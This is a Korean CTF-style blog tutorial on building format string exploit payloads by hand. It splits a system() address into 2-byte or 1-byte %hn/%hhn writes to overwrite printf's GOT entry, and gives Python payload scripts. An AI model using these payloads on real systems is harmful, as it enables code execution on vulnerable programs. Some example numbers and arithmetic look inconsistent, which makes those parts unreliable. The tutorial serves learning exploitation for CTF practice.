Sechack
FSB Payload 직접 짜기 (주소 쪼개기) 본문
FSB문제를 풀다보면 주소를 2바이트, 1바이트 단위로 쪼개서 페이로드에 집어넣어야되는 상황이 흔하게 생긴다. (사실 2바이트 쪼개서 넣는게 가장 일반적인데 경우에 따라서 1바이트까지 쪼개야하는 경우가 생긴다.)
주소를 쪼개서 넣는이유는 한번에 넣어버리면 화면에 출력되는 시간이 너무 길다.
(%n서식지정자는 출력된만큼 덮어쓰기 때문이다.)
바이너리에 따라서 익스플로잇 시간제한이 있을수도 있고 무엇보다 익스플로잇 시간이 너무 오래걸리기 때문에 주소를 쪼개서 넣어서 익스플로잇 시간을 단축하는것이다.
일단 주소 쪼개기의 예를 들자면 printf got를 system함수의 주소로 덮는다 가정해보자.
printf got : 0x08048782
system addr : 0xf7ed8a40
라고 치고 offset이 5라고 가정한다면 주소를 2바이트씩 쪼개서 FSB페이로드를 다음과 같이 만들 수 있다.
payload = p32(printf_got)
payload += p32(printf_got+2)
payload += b"%34682c"
payload += b"%5$hn"
payload += b"%32898c"
payload += b"%6$hn"
페이로드를 만들때 주의할점이 있다. 앞에서 출력된 만큼 뒤에서 출력될 수를 빼줘야한다. 일단 printf_got와 printf_got+2를 출력하므로(합하면 8byte) 처음에 출력될 길이에서 8을 빼줘야한다. 그리고 두번째에 출력될
길이에서는 덮어쓸 값에서 첫번째에 출력된 길이만큼 빼줘야한다.
근데 만약에 첫번째에 출력된 길이가 두번째에 출력되야하는 길이보다 크다면? 빼버리면 음수가 되어버린다.
(빼서 양수나오면 그냥 진행하면 된다.)
이럴때는 간단하다. 2바이트 단위로 쪼갤경우 나온 음수에 0x10000을 더해주면 되고 1바이트로 쪼갤경우에는
나온 결과에 0x100을 더해주면 된다.
%hn이나 %hhn같은 경우는 각각 1바이트, 2바이트 까지만 주소에 쓰기때문에 0x10000이나 0x100을 더해준다면
(2바이트 최대값이 0xffff이고 1바이트 최대값이 0xff이다.) 앞에서 출력된 길이까지 합해서 쓸수있는 바이트수보다
쓰려는 값이 더 커지기때문에 오버플로우가 발생하게 되면서 최대값이 넘어가는 순간 0이되게 된다. (C언어때 배운 정수 오버플로우라고 생각하면 쉽다.) 2진수로 생각해본다면 이해가 더 쉬울것이다. 2바이트는 16비트이다. 하지만 0x10000을 이진수로 바꿔보면 17번째 비트가 1이된다. 17번째 비트는 2바이트에 포함되지 않으므로 이시점에서 0이 되어버린다.
1바이트로 생각해보자. 1바이트는 8비트이다. 하지만 0x100은 9번째 비트가 1이 된다 따라서 아까와같이 0x100이 되는
시점에서 0이 되어버린다. 따라서 쪼개려는 바이트 최대값 + 1의 값을 음수에다가 더해주면 첫번째에 출력된 길이가
두번째에 출력되어야 하는 길이보다 클경우를 처리할수가 있다.
(참고로 python은 언어 특성상 0xffff와 같은 바이트 최대값을 음수에 and연산해주는것으로도 처리가 가능하다.)
"간단하게 말하자면 빼서 음수가 나올경우 2의 보수를 취해주는것이다."
0x0804 - 0x8782= 0xffff8082 -> 0x8082
이제 처리법을 알았으니 한번 주소를 쪼개는 스크립트를 짜보자. 먼저 주소를 2바이트 단위로 쪼개보겠다.
low = system & 0xffff
high = (system >> 16) & 0xffff
if low > high:
high = (high - low) + 0x10000
#high = (high - low) & 0xffff
else:
high = high - low
low = low - 8 #덮어쓸 주소를 뒤에 넣을경우 안빼줘도 됨.
payload = p32(printf_got)
payload += p32(printf_got+2)
payload += ("%{}c".format(low)).encode()
payload += b"%5$hn"
payload += ("%{}c".format(high)).encode()
payload += b"%6$hn"
#리틀 엔디안까지 고려해서 넣어줘야한다.
이렇게 짜볼수가 있다. 다음은 1byte단위로 쪼개는 스크립트를 짜보자.
low = system & 0xff
middle = (system >> 8) & 0xff
high = (system >> 16) & 0xff
if low > middle:
middle = (middle - low) + 0x100
#middle = (middle - low) & 0xff
else:
middle = middle - low
if middle > high:
high = (high - (low + middle)) + 0x100
#high = (high - (low + middle)) & 0xff
else:
high = high - (low + middle)
low = low - 12
payload = p32(printf_got)
payload += p32(printf_got+1)
payload += p32(printf_got+2)
payload += ("%{}c".format(low)).encode()
payload += b"%5$hhn"
payload += ("%{}c".format(middle)).encode()
payload += b"%6$hhn"
payload += ("%{}c".format(high)).encode()
payload += b"%7$hhn"
이런식으로 짜볼 수 있다. 주소가 4바이트인 32bit 기준으로 쪼갠것이니 주소가 8바이트인 64bit바이너리에서는
스크립트가 좀 달라진다. (그래봤자 원리는 똑같다.)
주소를 쪼갤때 0xffff나 0xff를 and연산한 이유는 2진수로 바꿔보면 모든 비트가 1이므로 and연산해도 원래 값은
그대로 유지하면서 python특성상 변수 타입이 자동으로 결정되기때문에 and연산해준 바이트만큼 잘리는 효과가 나게된다.
이 내용을 처음 접하는 초보분들은 원리가 잘 이해가 되지 않을수도 있다. 하지만 여러번 머리속으로 2진수 비트를
그려보면서 생각을 하게 되면 어느순간 깨닫게 될것이다. (본인 경험)
내용이 정 이해가 가지 않는다면 출력되어야 하는 길이에서 이전에 출력된 길이를 뺐을때 음수가 나왔을경우
쪼개려는 바이트 최대값 + 1을 음수(결과)에다가 더한다는것만 기억하시면 된다.
pwntools에 fmtstr이 있는데도 불구하고 이 내용을 다룬 이유는 pwntools의 fmtstr은 64bit에서는 잘 동작하지 않는다.
물론 인터넷에 FSB페이로드 만들어주는 코드가 널렸지만 그런걸 그대로 복붙해서 사용하는건 오류가 났을때 잡기도 힘들고 원리도 이해하지 못한채 남이 만들어놓은 코드에 평생 의지할순 없는법이다. 그래서 스스로 기초적인 FSB페이로드를 짜는법을 소개해봤다. 설명을 잘 못한것같지만 여러분들에게 조금이나마 도움이 되었으면 좋겠다.
'Pwnable > Linux' 카테고리의 다른 글
ASLR을 우회하는 여러가지 방법 (0) | 2021.05.11 |
---|